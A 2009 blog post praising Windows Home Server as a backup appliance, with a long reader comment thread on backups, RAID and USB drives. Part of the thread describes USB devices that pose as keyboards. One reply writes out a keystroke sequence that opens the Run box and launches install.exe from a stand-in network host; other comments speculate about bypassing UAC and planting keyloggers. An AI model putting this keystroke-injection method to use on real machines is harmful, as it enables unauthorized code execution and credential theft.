

# The Old New Thing

## Stories of anticipating dead computers: Windows Home Server

9 Nov 2009 7:00 AM

**65**

Like most geeks, I have a bit of history with dead computers. In the past, I used the "wait until it breaks, and then panic" model, but recently I've begun being a bit more anticipatory, like replacing an old laptop before it actually expires.

Anticipating another future dead computer, I bought an external USB hard drive for backing up important files, but upon reading the description on the box, I started to have second thoughts. It came with its own backup software that reportedly installed automatically when you plugged in the drive (!). I didn't want that; I just wanted a boring USB hard drive.

One of my friends (who used to work with USB devices) cautioned me: "Those things are evil. Some of them enumerate as a keyboard and 'type in' a device driver so they can own your machine even if you have autorun disabled." Wow, that's a level of craziness I previously had not been aware of.

Upon further discussion, I was convinced to return the external hard drive unopened and instead get a copy of Windows Home Server. I went for the Acer Aspire EasyStore H340 instead of trying to build my own reduced-footprint low-power quiet-fan computer. And amazingly, the EasyStore comes with only two pieces of shovelware, the excellent LightsOut add-in, which I kept, and some annoying trialware, which was easily uninstalled.

I felt kind of weird getting a Home Server since I have only one home computer of consequence, so I'd basically have a one-computer network. (I do have that laptop, but I'm careful not to keep anything on it that isn't already backed up somewhere else.) And because the Home Server would easily be the most powerful computer in the house, even though all it does is sit there doing nothing most of the time. But the convenience is hard to beat. It just sits there quietly and does its job of backing up the other computer every night. (And seeing as I had the machine anyway, I also have it back up my laptop, even though there's nothing really important on it. Most nights, the laptop backup takes only five minutes. And just because I can, I even back up the old laptop that doesn't even do anything any more aside from surf the Internet!)

Of course, the first thing you do with a new gadget is tinker with it, and I installed Whiist and created a photo album. It was so easy to do, I feel like I'm losing my geek cred. I mean, this sort of thing is supposed to involve hours of staring at the screen, scouring the Internet for information, and groveling through hundreds of settings trying to get things working. If anybody can get a home server up and running with automatic nightly backups and an online photo album by just clicking on some fluffy GUI buttons, then what will I have to feel superior about?

I'm kidding. My hat's off to the legendary Charlie Kindel and the Windows Home Server team. They hit this one out of the park. It's an awesome product.

Now that backing up is so painless, it has set a new baseline behavior: Now, I feel kind of uneasy making large-scale changes to files on my home computer unless I have a complete backup. (Backups are the reason I bought the server. All the other features, like the photo album, are just gravy.)

And yes, every few weeks, I restore a randomly-selected file from backup just to make sure

the backups are working.

**FTC disclaimer:** Although Windows Home Server is a product of Microsoft Corporation (my employer), no compensation was tied to this review. (I didn't even get an employee discount.) I'm just a happy customer.

## Blog - Comment List MSDN TechNet

### Comments



**gkdada**

9 Nov 2009 7:22 AM

#

I tried an installation of Windows Home Server and feel it is an overkill as a backup solution. Even discounting everything else, it is like a 100W bulb you left burning 24 Hours a day!

I developed a automatic backup product for personal use, which I put out on web for free download. I am not giving out the address for the fear of being accused of spamming. If only there is a private way of communicating it to you!



**DWalker**

9 Nov 2009 7:32 AM

#

Just because an external USB box comes with its own backup software doesn't mean that you have to INSTALL that backup software. Remember, you are in control.

I have never seen an external USB box that wouldn't simply appear to Windows as an external disk drive when it's plugged in to the computer. You can then back up files in any way you want, and ignore the manufacturer's driver CD completely.

Some of the drivers think it's cool to let you push a button on the external drive itself to start the backup, which actually IS kind of cool for many people, but it's not something I would do.

I don't think the evil driver will get installed if you don't let it!

*[But if the evil hardware includes a rogue keyboard, then the rogue keyboard can type "Yes" for me! -Raymond]*



**Paul M. Parks**

9 Nov 2009 7:51 AM

#

You can get USB enclosures at Fry's that let you drop in a hard drive and turn it into a USB drive. (You can probably get them other places, but that's the only place I've seen them.) That way you can pick the drive you want to put into the enclosure, build the drive, and away you go without having to fear any wacky shovelware. You also get to keep a little geek cred because you had to build something from basic components.

**bahbar**

9 Nov 2009 7:54 AM

#

I guess I got confused at the keyboard part. I was aware of the USB drive faking CDs to get autorun to kick-in. Keyboard however...

Are you saying a USB keyboard can arbitrarily load a device driver inside windows as soon as it is plugged in with no user intervention ? (what exactly does 'type in' means?)

I know arbitrary physical access to a machine means it may have been compromised, but that'd sure be a handy way to go about it.

*[A USB keyboard (since it is a keyboard) reports keypresses to the host. Therefore, it can lie to the host and say "The user pressed Win+R, and now the user typed \\live.contoso.com\autorun\install.exe and now the user hit Enter." -Raymond]*

**someone else**

9 Nov 2009 8:04 AM

#

@DWalker59: "I don't think the evil driver will get installed if you don't let it!"

I believe a certain record company would like to have word with you.

**bahbar**

9 Nov 2009 8:15 AM

#

>Therefore, it can lie to the host and say ...

Ugh. Ugh. UGHHH.

That method can even bypass UAC :(

I guess you should lock your session before plugging it in.

Sounds to me like some people in the US might want to get litigious with those kind of devices.

**someone else**

9 Nov 2009 8:26 AM

#

"That method can even bypass UAC :("

Not if you're running as limited user, it can't!

*[What, a keyboard can't simulate pressing the C key? -Raymond]*



**Matthew**

9 Nov 2009 9:12 AM

#

@Paul:

Yep, and I myself prefer "enclosure-built" external drives for two reasons:

1) The cost of an enclosure + OEM HDD is typically still less than an out-of-the-box "external" HDD.

2) Your external drive is now upgradeable as individual components.

Say you bought a HDD and a USB enclosure, but now you want to upgrade to an eSATA interface. Had you bought an external drive, you would have to go buy a new one, and then deal with copying your backups (if you want to maintain a singular backup drive). With the enclosure route, you just need to buy a new enclosure, keeping the old drive ready to go and costing a fraction of an entire new external drive.



**someone else**

9 Nov 2009 9:33 AM

#

"[What, a keyboard can't simulate pressing the C key? -Raymond]"

That would cancel whatever asked for elevation, right?

*[Making the appropriate adjustments is left as an exercise for the reader. -Raymond]*



**Neil (SM)**

9 Nov 2009 10:01 AM

#

[What, a keyboard can't simulate pressing the C key? -Raymond]

A keyboard can't simulate typing in an admin password it doesn't know.

*[Okay, so 1% of computers are protected. -Raymond]*



**AndyC**

9 Nov 2009 10:28 AM

#

Hehe, your setup sounds pretty much like mine (even down to the "I'll back up this ancient laptop, just cause I can" bit).

Windows Home Server is really quite brilliant, probably the best thing to come out of Microsoft in a good many years. You really won't regret the purchase.



**Krunch**

9 Nov 2009 10:58 AM

#

> A keyboard can't simulate typing in

> an admin password it doesn't know.

No but it can type in a program that will run in the background snooping on the actual keyboard/terminal or whatever it is to use to type in passwords in Windows. You can plug it in while you are not logged in but that's not very convenient and you can still probably find some ways to bypass that.

I find the idea evil but brilliant. And I wouldn't want to give money to a vendor that ship that kind of things to unsuspecting customers.



**Neil (SM)**

9 Nov 2009 11:16 AM

#

@Krunch: I think you are referring to a different scenario than what I was responding to.

The idea was:

1. User is running as non-admin account with UAC enabled. Like Raymond responded, unfortunately this probably applies to only 1% of real users.
2. User plugs in USB drive, which then tries to execute a program.
3. UAC prompt asks for admin password.
4. ????

In this case, the usb drive/keyboard simulator didn't have much opportunity to keylog a password.



**Puckdropper**

9 Nov 2009 11:26 AM

#

I recently got a NAS storage box. My requirements were quite a bit higher, as I wanted to mitigate the chance of data loss from disk failure. I wound up getting one that is essentially a server and has taken over the duties of a server I've had for years.

Backup is getting to be so cheap now it's stupid not to do it. I'd love to see mirroring and network backup included in all versions of Windows and not just the corporate ones, but I guess their time just hasn't come. I'm especially in favor of mirroring, tossing a second hard disk in the system and setting up a mirror means the user reduces their

chance of data loss by half! That's an easy sell to most people.



**DriverDude**

9 Nov 2009 11:28 AM

#

Raymond, you're way too nice for somebody with the social skills of a you know what. It would be swell if you would name the brand or vendor of that disk drive so we can see for ourselves.



**Andrew**

9 Nov 2009 11:31 AM

#

> I feel like I'm losing my geek cred

I don't think you'd lose your geek cred for using a simple to set up photo album.

However, you do for admitting that an Atom based home media server is easily the most powerful computer in your house.



**Krunch**

9 Nov 2009 11:35 AM

#

@Neil

> In this case, the usb drive/keyboard simulator

> didn't have much opportunity to keylog a password.

Indeed. However if you know your target you can anticipate that and go the keylogger way. Admittedly, it's more work, less reliable and probably doesn't make much sense if you are targeting generic users.

□

**dnick**

9 Nov 2009 11:41 AM

#

If your Windows Home Server is mostly sitting around doing nothing, may I suggest joining it to the World Community Grid? That'll let your WHS contribute to valuable research such as fighting pediatric cancer, rather than just waiting around all day to do the next backup.

As an added bonus, accessing the WHS via RDP, and installing the software to run as a service, might help to satisfy your inner geek. I've been running this on my WHS for months with no noticeable impact on performance.

<http://www.worldcommunitygrid.org/>



**Stefan Kanthak**

9 Nov 2009 11:53 AM

#

"The user pressed Win+R, and now the user typed \\live.contoso.com\autorun\install.exe and now the user hit Enter."

For this type of attack to work in the first place the system has to have direct Internet access; systems behind a NAT router are but "protected" (except when that router has a CIFS protocol helper, which is very unlikely). In the second place the domain has to be in a zone where (direct) execution is allowed. Third: SRP alias SAFER must not be turned on.

And the 99% of users who are stupid enough to work with administrative rights don't deserve it better;-)

Unfortunately that company who claims to be the worlds largest SW manufacturer is still NOT doing the right thing and creates user accounts with administrative rights per default: EPIC FAIL!

PS: AUTORUN is disabled except for CD-ROM on all still supported Windows since quite some time!

*[I'm sure the drive says in its documentation "If the automatic installation does not work, follow these steps to install the software manually." -Raymond]*



**htd**

9 Nov 2009 12:24 PM

#

windows xp box could be a cheaper than more reliable solution than home server when you have proper software loaded on it.



**Leo Davidson**

9 Nov 2009 12:27 PM

#

Nightly backups are brilliant.

I've been doing them for a few years now using disk imaging tools (in incremental mode, so it's usually quite fast; just a minute or two each night while the OS still runs).

Some program goes mad and trashes its settings files? No problem, just restore them from 6am! (Bit more hassle if the settings are in the registry, but still possible.)

Accidentally deleted something or changed it? No problem either!

Installed a driver or some piece of software that took a plop all over the machine and won't uninstall properly? ...Could use system restore but I never know what that is/isn't

going to restore... No problem, though, I can just go back to 6am!

One thing which frustrates me about Windows 7's built-in disk-imaging tool is how difficult it makes it to extract individual files/folders from a backup. (Mounting the VHD simply will not work for me, either. Don't know why.) For now, while I wait for a Win 7 compatible version of the backup tool I was using, I've resorted to doing both a disk-image backup and a separate files & folders backup of the main stuff. :(



**DriverDude**

9 Nov 2009 12:33 PM

#

> Okay, so 1% of computers are protected. -Raymond

Maybe so, but you're of the 1%, right?



**Bruce Bufford**

9 Nov 2009 12:55 PM

#

Raymond, I have an alternative to consider. I used to run Windows Home Server (custom box), but it drew tremendous power and had some fatal flaws.

WHS is a GREAT product, don't get me wrong. It fits its target audience perfectly. But for those who know their systems, it lacks certain features -- and this can be devastating.

I now use Acronis True Image Home 2010 with a USB-SATA dock + internal SATA hdd. Though, you could get this with eSATA for a little more. In short, you don't get the "server" functionality, but not everyone needs that aspect if data backup is their focus.

Benefits over WHS:

- Not running 24/7

- Less power usage

- less wear and tear on the hdd and components

- Ability to isolate the backup drive from power surges/lighting strikes (just unplug the drive!)

- Modular

- Multiple backups with the ability to separate data from the OS (through good partition management). You can do data and disk image backups.

- Portable. One can take a backup drive (internal SATA disk) and store it offsite in case of disaster. This is something you can't do with a WHS setup.

- Backups are archive files that can be manually opened with Windows Explorer or 7zip, on any machine

- Cheaper. \$40 for a license + (\$80 sata dock & 1tb hdd) = \$120. Newegg has great deals



on docks and hard drives. For \$200 you can have a 2tb redundant backup system. Half the price of a WHS and much more portable.

I don't like putting all my eggs in one basket. I know the drives in WHS duplicate data...but it's my understanding that you just can't remove one and read it with another computer for a full data recovery. But the biggest thing is catastrophic system failure -- if something in the server goes, it can render all your backups inaccessible.



**Aaron G**

9 Nov 2009 1:46 PM

#

@Puckdropper: A RAID 1 array does not cut the chance of data loss in half. It allows your data to temporarily survive the mechanical failure of one drive. That's it. It's still possible for both disks to get hosed (overheating, bad PSU, lightning strike, etc.), you can still end up with inconsistent data by means of a bad array or a drive that's merely flaky, and two drives means that it's more than twice as likely for at least one to fail.

It's depressing how many people seem to think that RAID is a viable substitute for well-maintained backups. Its goal is availability, not protection.



**Leo Davidson**

9 Nov 2009 2:27 PM

#

Bruce, I used the same backup tool as you for a few years but I found it increasingly unreliable.

I'd strongly recommend following Raymond's advice about testing the backups. I did and found the backup of one of my drives could not be mounted at all, even though the program carried on making them every night.

The "2010" version also seems to be completely broken on Windows 7, judging by their forums and multiple reviews on Amazon.com. Seems like other people are finally realising how broken that tool is. It's a shame as it has great potential but each release, on a regular-as-clockwork yearly schedule to get more money, seemed to break more and more and never fix any bugs, even ones which caused backups to be unencrypted or restores to fail.

I swore by that product for a couple of versions but, from my own experience and backed up by others recently, I just can't trust it for backups anymore.

Actually, most backup software seems pretty awful. I've tried a bunch of tools and settled on what is really the "least bad" option rather than something I think is fantastic. Fortunately, the backup tool I settled on does get the job done and is only missing a few options, so that's okay.

I suspect backup is like source control and not "sexy" enough to attract enough good developers (not to mention UI designers and testers) to get really excellent products written.

**Miral**

9 Nov 2009 3:18 PM

#

Thus far (as far as I've noticed), the UAC prompt never receives keyboard focus when it appears, and if it's on the secure desktop you can't Alt-Tab to it or anything.

So a rogue keyboard driver wouldn't be able to get past UAC. Unless it also had a rogue mouse driver, and a rogue display driver (since the window doesn't always appear in the same place, especially across different PCs with different monitor sizes).

**rtm242**

9 Nov 2009 4:03 PM

#

@Miral: If you cannot ALT+TAB to the dialog, something is wrong with your keyboard. Not allowing simple keyboard access to the dialog would be a problem for disabled users.

I suppose the dialog could put the "Yes" button randomly in a grid of "No" buttons and remove the "Y" accelerator key so you had to TAB through the controls to the right one, in which case that would probably thwart such direct attacks (they'd have to get lucky), but it sure would look silly to the human...

-r

**Gaspar**

9 Nov 2009 4:40 PM

#

I think Raymond's point is that why would you:

1) Want to support a company that uses such software?

2) Take a chance that a key logger, malware driver, or any other grey/black software might be installed on your computer?

I would not let such a device within ten feet of one of my computers either at home or at work.

**Anonymous Coward**

9 Nov 2009 5:06 PM

#

My own horrorstory: by default Windows XP is set up to automatically run anything on CD's but not on CDR's, harddisks, chipcards and the like.

Turns out there are USB-flashdrives that present themselves to the OS as both a read-only CD and a writeable external harddrive.

So you can put an autorun script on it, plug it out and back in, and it runs. Of course

you can turn off autorun completely, and you have to if you ever intend to insert a USB-drive in your machine, but what if you don't know that? I was actually rather surprised that people can sell this stuff without getting raided by the police.

And now we have to worry about things that pretend to be keyboards? How do I get Windows to only recognize USB hardware after I click a confirmation dialog, maybe excepting only standard storage media-like things?



**Mark**

9 Nov 2009 6:36 PM

#

Miral: the install driver UAC just requires Ctrl+C.

If you're running as LUA, you'll presumably not even enter the admin password for a keyboard driver.

However, I'm wondering what you could do by enumerating as an ethernet adapter. Or a Bluetooth adapter that claims to be paired to a Sideshow device...



**Tom**

9 Nov 2009 8:15 PM

#

Leo: My thoughts exactly on Acronis. I thought they were really cool back in 2005, when I first found out about them. But after I looked into how their products are actually implemented, it's just way too scary for me to even consider using.

Acronis True Image is essentially an undergraduate OS class project on steroids. For example, snap restore allows you to work on a machine *\*while\** you are doing a full bare-metal system restore on it. They even implement their own version of shadow copy! (This is why they can do snapshot backups on XP, which predates shadow copy's addition to NTFS.)

I barely trust Microsoft or Sun or NetApp when it comes to filesystems. But at least I know that their code is subjected to astronomical amounts of unit testing, stress-testing, and real-world load in multinational enterprises.

But Acronis?! A backup program should *\*not\** be replacing the Windows shadow copy provider, and it should *\*not\** be installing filter drivers. How much testing do you think Acronis code has gone through, compared to Microsoft code?



**Sven**

9 Nov 2009 8:16 PM

#

Can anyone actually give an example of a external USB drive that does this? Or some kind of article besides this one that mentions this threat? Because I've never heard of something like this before.

**Justin**

9 Nov 2009 8:51 PM

#

Based on recent experience, you have not truly verified a full backup until you have restored a whole boot drive from the restore CD. In my case, I found that I needed OEM network drivers and not the ones that came on the restore CD, even though the network interface was identified by both.

**Mark Grant**

9 Nov 2009 9:19 PM

#

"It's depressing how many people seem to think that RAID is a viable substitute for well-maintained backups. Its goal is availability, not protection."

The problem is that when you're a home user with multiple terabytes of data, RAID is about the only viable 'backup' option you have. You could copy the data to a hard disk and stick it in the closet, but at least on a RAID array you can be fairly sure it's still going to work when you need it (assuming that you replace all the disks in the RAID every few years). And if you use something like RAID-Z on ZFS you can make snapshots every night in case your cat manages to delete everything while it's sleeping on the keyboard.

I was pretty shocked when I plugged an old laptop drive into my PC after ten years and the data I copied across only had a few hundred bad sectors; with data densities thousands of times higher on modern disks I'm not sure they'd even do that well.

**Worf**

9 Nov 2009 10:47 PM

#

RAID is illusionary. Nothing in RAID prevents a fat-fingered delete or format, or filesystem corruption. An offline backup, which can be a simple removable drive, will at least have your data after the array disappears (unless it happened to be online at the time...).

Firstly, on RAID, it's possible to have data corrupted - the controller won't know if the parities all match. Hell, most controllers don't check parity for reads to improve performance. So if a drive corrupts data in a read stripe, boom, it's corrupted. Save it back and now it's hopelessly lost. There's a reason why ZFS checksums all blocks - and how it can recover from someone wiping random blocks on disk.

I gave up on Acronis when geez, they still did NOT have Mac hardware support (i.e., backup/restore Boot Camp partitions). It's not like it's new technology (Intel Macs have been around since when? 2005?) and even Vista knows a Mac GPT when it sees one. Given the popularity of Mac laptops running Windows...

**Ivanvugt**

10 Nov 2009 12:03 AM

#

Fully agree with the initial story! (And what a waist after that :-P)

**Jonathan**

10 Nov 2009 1:37 AM

#

My experience with USB storage devices has so far been good:

\* My WD Passport HD (160GB) was only a regular mass-storage device. It had a folder with some software installation in it that I never bothered to install.

\* When I connected my SanDisk Cruzer for the first time, it presented itself as both a regular mass-storage device and a read-only CDROM with some U3 software installation on it. However, the device was very straightforward about it - I got to choose to either install U3, or remove this stuff from the device. I chose the latter, and since then it's a plain-Jane disk-on-key.

But fake keyboard? Sounds like a scandal of Sony proportions to me...

**Ben**

10 Nov 2009 2:13 AM

#

I got one of these as well and it rocks! Well done to the WHS team.

Within a couple of days of getting it I managed to restore a file my wife accidentally deleted. Worked really well.

**oliver**

10 Nov 2009 3:14 AM

#

Out of curiosity, do you back up your whole home directory, or the full disk, or just selected files/folders? Or is the disk large enough to not have to care about backup size?

**Morten**

10 Nov 2009 3:23 AM

#

How about just booting a [select Linux of preference] Live CD, attach the disc while laughing at how it tries to pwn j00r b0x, clear out the bad stuff and redo in Windows? Or am I missing something?

**bahbar**



10 Nov 2009 3:41 AM

#

@Morten: Yes, you're missing that the drive has this capacity built in. There's potentially nothing to "clear out". It's just the way the device \_behaves\_.

I say, dump the device altogether and/or sue them for executing software without consent.

Or... Maybe they ask for consent the first time you open an editor ? (by typing the question in! - Yeah, that's a poor joke).



**Morten**

10 Nov 2009 4:11 AM

#

Grief. Didn't they pay attention when Sony had their backsides kicked for something like this, or don't they care? I'm happy that I've never met hardware this evil. :-)



**Stefan Kanthak**

10 Nov 2009 4:32 AM

#

"I'm sure the drive says in its documentation 'If the automatic installation does not work, follow these steps to install the software manually.'"

Most probably!

But now the user^Wadministrator has the choice to discard that (almost always superfluous and outdated) software:

Manual <> Automatic!

PS: unfortunately most Windows users tend to install the software which comes with their new toy^Wdevice, even when Windows has a driver for it.

Especially with printers, cameras and multimedia devices many vendors still don't bother to place an \*.INF together with the driver files on the CD or device so that Windows can't install the drivers alone.

How long does Windows now support installation from \*.INF? It's a shame for the whole SW industry to bypass those basic routines!



**dave**

10 Nov 2009 5:50 AM

#

re: Oliver:

>Out of curiosity, do you back up your whole home directory, or the full disk, or just selected files/folders? Or is the disk large enough to not have to care about backup size?

Assuming that you're directing that question to Raymond about Home Server, then I can add some details (not that I know what Raymond does).

The easiest mode is just to let WHS do whole-disk backups of all disks all the time. Under the covers, WHS will only bother to transmit disk blocks that it doesn't already have on the server (and the de-duping occurs across the entire client population, so you don't get N copies of the same OS files, for example).

The usual backup time per computer is, I think, under 10 minutes (most machines sitting on gigabit Ethernet, laptop on 802.11g)

From the client point of view (whether browsing for a single lost file, or restoring the entire disk), each backup appears to be a self-contained full backup.

I'm a big fan. I spent years not getting round to implementing a decent automatic whole-house backup system (hey, I'm a programmer, I can do that, right?). WHS simply works.

(Now, if only the WHS team would update the Media Connect implementation to Vista-equivalence, I'd be completely happy).

#### **alt-92**

10 Nov 2009 5:52 AM

#

> Especially with printers, cameras and multimedia devices many vendors still don't bother to place an \*.INF together with the driver files on the CD or device so that Windows can't install the drivers alone.

How long does Windows now support installation from \*.INF? It's a shame for the whole SW industry to bypass those basic routines!

What? And miss out on an excellent opportunity to get \$FabulousExtraMarketingSoftware installed?



**Joseph Koss**

10 Nov 2009 6:06 AM

#

If the device pretends to be a keyboard, then certainly Linux users aren't really safe either.

But even more nefarious things can be done without pretending to be a keyboard. That mass storage device stores files.. there is no rule that the files need to be read back exactly as they were written. Modifications could be made to executables (and even source files!) when read back from the device.

Unless the host has an independent checksum of every file, there really is no possible defense. You simply gotta trust the manufacturer.. at least the ones pretending to be keyboards make their untrustworthiness obvious.



**Random832**



10 Nov 2009 6:18 AM

#

Have there ever been any actual recorded cases of a USB device faking being a keyboard and doing this? It sounds to me like a 'lost in translation' version of the CD-ROM thing - which is legitimate, and requires autorun to be enabled, but is subjectively "scary" to someone who has disabled autorun for USB devices but not CDs on the theory that CDs are read-only and therefore "safe" (and ignoring the fact that the portion that autoruns on the USB sticks is also read-only)



sjkeegs

10 Nov 2009 6:44 AM

#

I've converted from using Acronis to a new WHS system.

When my house only had one computer Acronis was a fine backup system. I had one internal HDD that Acronis would back up to, plus an external drive that I used as a remote backup, by copying the Acronis backup files to the external drive.

This scheme started to fall apart when:

1. The house started to accumulate more computers as my kids got older.
2. I created an application to build movies from images generated from online data.

So only one computer was being backed up, and the backup data from that one computer was quickly filling up the internal backup disk, along with some issues with acronis not handling the full disk very well (old backups didn't seem to get deleted when required).

I looked at NAS's, WHS, and building my own linux server. I settled with the WHS since:

- The storage is expandable by simply adding a new higher capacity drive.
- No RAID, I didn't want to worry about the raid controller, or motherboard failing and not being able to find a replacement.



J

10 Nov 2009 9:08 AM

#

I love Windows Home Server. I had a [not inexpensive] raid-5 file server going for a while until inexplicably the controller stopped recognizing the array. What the hell am I supposed to do when the RAID management software just doesn't show my data? It was such a pain to put the whole thing together that this time I just went with a HP Mediasmart box, and I consider it a plus that it doesn't do RAID for redundancy. It's so easy to set up, it actually works automatically, and as a bonus the HP solution works as a Time Machine disk for my Macbook.

Sure, it has its flaws. I couldn't do an image-based restore of a flaky drive, and I've gotten my account locked out two times and had to remote in to unlock it (account lockout on WHS is a big wtf!). But it probably has fewer flaws and more features than anything else in its price range.



And to those people whose big hang up about WHS is the power consumption (a light bulb on 24/7), the Lights-Out add-in that Raymond mentioned can control when the server is on and when it's sleeping. If you use the WHS as a file server to serve movies your PCs can wake the server on demand, but unfortunately as far as I can tell your xbox 360 cannot. :(



**DWalker**

10 Nov 2009 9:28 AM

#

I didn't mean to start a huge side-track on the driver. Yes, I'm sure the instructions tell you to run setup.exe from the CD; my point was that you can (and IMHO, probably should) ignore that part. If you know what you're doing, that is; Aunt Tillie may not be up to that level.

And if a USB backup disk really includes a simulated USB keyboard to type in fake user responses or to own your computer, well, that's a level of malevolence that I had not anticipated.

I haven't looked at Home Server yet, although I have 4 computers at home and three in my office... I'll have to take a look.



**Mihai**

10 Nov 2009 9:30 AM

#

That's how it all starts: a home server for backup.

Then things explode: source control, a small home website, asp and php (nice to learn), some kind of media streaming (the Xbox 360, PS3, Direct TV PVR, all know how to get pictures/video/audio), sharing a printer... (or two :-)



**640k**

10 Nov 2009 10:04 AM

#

"wait until it breaks, and then panic" is usually cheaper. That's usually the choice by people that can't AFFORD data safety. It doesn't have anything to do with what they think is the best solution.



**C++ guy**

10 Nov 2009 10:56 AM

#

What happens if your house burns down? A backup at the same location as the original isn't worth much.

**Dean**

10 Nov 2009 12:20 PM

#

"I don't like putting all my eggs in one basket. I know the drives in WHS duplicate data...but it's my understanding that you just can't remove one and read it with another computer for a full data recovery. But the biggest thing is catastrophic system failure -- if something in the server goes, it can render all your backups inaccessible. "

For WHS

You can remove any drive and read it with a win (or anything that reads ntfs) pc. You can also back up the server, or any portion of it, to an external drive and take it off site.

There is no other technology that allows the flexibility, ease of use, non tech ability, data redundancy, cost effectiveness, and safety in one inexpensive product.

Before you post about what you think it can't do - learn about it, and then you will buy one.

**Levi**

10 Nov 2009 1:10 PM

#

...or you could've used <http://www.carbonite.com/>

**someone else**

10 Nov 2009 1:40 PM

#

"What happens if your house burns down?"

Then your backups are the least of your problems.

**Bob**

10 Nov 2009 1:59 PM

#

I bought a WHS a year ago and it already saved me once :-), I mostly use it for backups+file server in the home.

It has lots of free addons that extend its functionalities.

AutoExit from [www.asoft.be](http://www.asoft.be) to shut down/wake/... machines all over the home is one that makes life easier not having to run up/downstairs all the time ;-)

And it has a great/helpful community surrounding it too: [www.wegoterved.com](http://www.wegoterved.com), [www.mswhs.com](http://www.mswhs.com),...

Thanks Microsoft!

**Stephen Jones**

10 Nov 2009 2:02 PM

#

-----"What happens if your house burns down?"-----

You recover your backup from your fireproof safe, where it shares space with your house insurance policy.

**Levi**

10 Nov 2009 2:38 PM

#

-----"What happens if your house burns down?"-----

You restore from Carbonite (<http://www.carbonite.com/>) online backup, it does everything WHS offers but without the actual backup server in your house. Easy, cheap, unlimited storage and will survive even if house \*does\* burn down.

**James Schend**

10 Nov 2009 3:14 PM

#

Leo: I can recommend Mozy.com, if you're ok doing (secure) backups to the Internet. Their software is great, never gets in the way, integrates with Shadow Copy even.

**reh**

10 Nov 2009 3:30 PM

#

I think your friend might be just a little bit crazy.

While I certainly admit the theoretical possibility that it could 'type in' something malicious (or just unwanted).. the very notion that it would even /try/, with the vast variety of operating systems and configurations that it might be plugged in to, is a little preposterous. The tiny amount of value that it might bring to a few people for which it actually worked and was desired, versus the huge number of people that it would confuse and/or annoy leads me to believe that no hardware vendor would even attempt such a thing.

If we'd like to consider conspiracy theories, I think it is infinitely more probable that your friend is getting kickbacks from Acer for every machine with WHS sold.

**tb**

10 Nov 2009 4:09 PM

#

"this sort of thing is supposed to involve hours of staring at the screen, scouring the Internet for information, and groveling through hundreds of settings trying to get things working"

If you really want that back, you can always try Slackware.



**Joseph Koss**

12 Nov 2009 9:32 AM

#

reh:

Why would it be pretending to be a HID if its actually a mass storage device?

There are plenty of articles online about USB Keys/Thumb Drives which, when connected, simulate keystrokes (because they pretend to be a HID) in order to navigate to a web site.

There is absolutely no reasonable incentive for a normal person to trust such a device, especially since that trust has to extend to the web site in question.



**Brian K**

12 Nov 2009 12:27 PM

#

Home server is great. I use it too.



**Bruce Bufford**

13 Nov 2009 2:28 PM

#

@Leo

Well, no, you're not using the same tool as I am if you've been using it for \*years\*. Acronis True Image Home 2010 has been on the market for only a few months now.

I test the backups all the time...why? Because I tremendously use the imaging to roll back my system states. Hell, with the natural instabilities with Windows 7 screwing up my drawing tablet and application installs (yay botched 64-bit implementations!), I USED those restores. Frequently.

Running 64-bit Windows 7 right now. Never had a single issue. First application I installed and used.

I've used 2009 and 2010. Not have had a single problem with either. Little glitches, yes. But never had a backup fail.

I'm sorry you had such a terrible time with Acronis -- have you ever contacted their technical support for your issues?

